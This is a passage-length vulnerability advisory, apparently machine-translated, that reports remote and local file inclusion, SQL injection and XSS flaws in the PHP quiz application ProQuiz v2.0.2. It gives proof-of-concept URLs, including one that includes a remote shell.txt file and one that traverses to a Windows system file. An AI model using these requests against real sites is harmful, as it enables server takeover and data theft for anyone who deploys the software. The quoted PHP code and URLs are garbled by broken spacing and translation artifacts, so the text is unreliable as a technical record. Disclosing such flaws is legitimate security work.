ProQuiz v2.0.2 multiple defects and repair

Title: ProQuiz v2.0.2-Multiple Vulnerabilities
Author: L0n3ly-H34rT http://www.bkjia.com/l0n3ly_h34rt@hotmail.com
Official Website: http://proquiz.softon.org/
: Http://code.google.com/p/proquiz/downloads/list
Test Platform: Linux/Windows
 
1. remote files include:
 
* In File (my_account.php) in line 114 & 115:
 
If ($ _ GET ['action'] = 'getpage '&&! Empty ($ _ GET ['page']) {
@ Include_once ($ _ GET ['page']. '. php ');
 
Test proof
First register and login in your panel and paste that's url e.g .:
 
Http://www.bkjia.com/full/my_account.php? Action = getpage & page = http: // 127.0.0.1/shell.txt?
 
* Note:
 
Allow_url_include = On
 
-----------------------------------------------------------------------
 
2. Local File Inclusion Defects:
 
* In File (my_account.php) in line 114 & 115:
 
If ($ _ GET ['action'] = 'getpage '&&! Empty ($ _ GET ['page']) {
@ Include_once ($ _ GET ['page']. '. php ');
 
* P. O.C:
 
First register and login in your panel and paste that's url e.g .:
 
Http://www.bkjia.com/full/my_account.php? Action = getpage & page =.../windows/win.ini000000.jpg
 
* Note:
 
Magic_quotes_gpc = Off is also required
 
---------------------------------------------------------------------
 
3-Remote SQL Injection & blind Injection
 
* In Two Files:
 
A-First (answers. php) in line 55:
 
<? Php echo $ _ GET ['instid'];?>
 
B-Second (functions. php) In:
 
$ _ POST ['email ']
 
$ _ POST ['username']
 
* Test proof:
 
A-First:
 
Http://www.bkjia.com/full/answers. php? Action = answers & instid = [SQL]
 
B-Second:
 
About Email:
 
In URL:
 
Http: // 127.0.0.1/full/functions. php? Action = recoverpass
 
Inject Here In POST Method:
 
Email = [SQL]
 
About Username:
 
In URL:
 
Http: // 127.0.0.1/full/functions. php? Action = edit_profile & type = username
 
Inject Here In POST Method:
 
Username = [SQL]
 
Bytes -------------------------------------------------------------------------------------
 
4-Cross Site Scripting:
 
E.g.: http: // 127.0.0.1/full/answers. php? Action = answers & instid = [XSS]
 
Bytes -----------------------------------------------------------------------------------
 
# Greetz to my friendz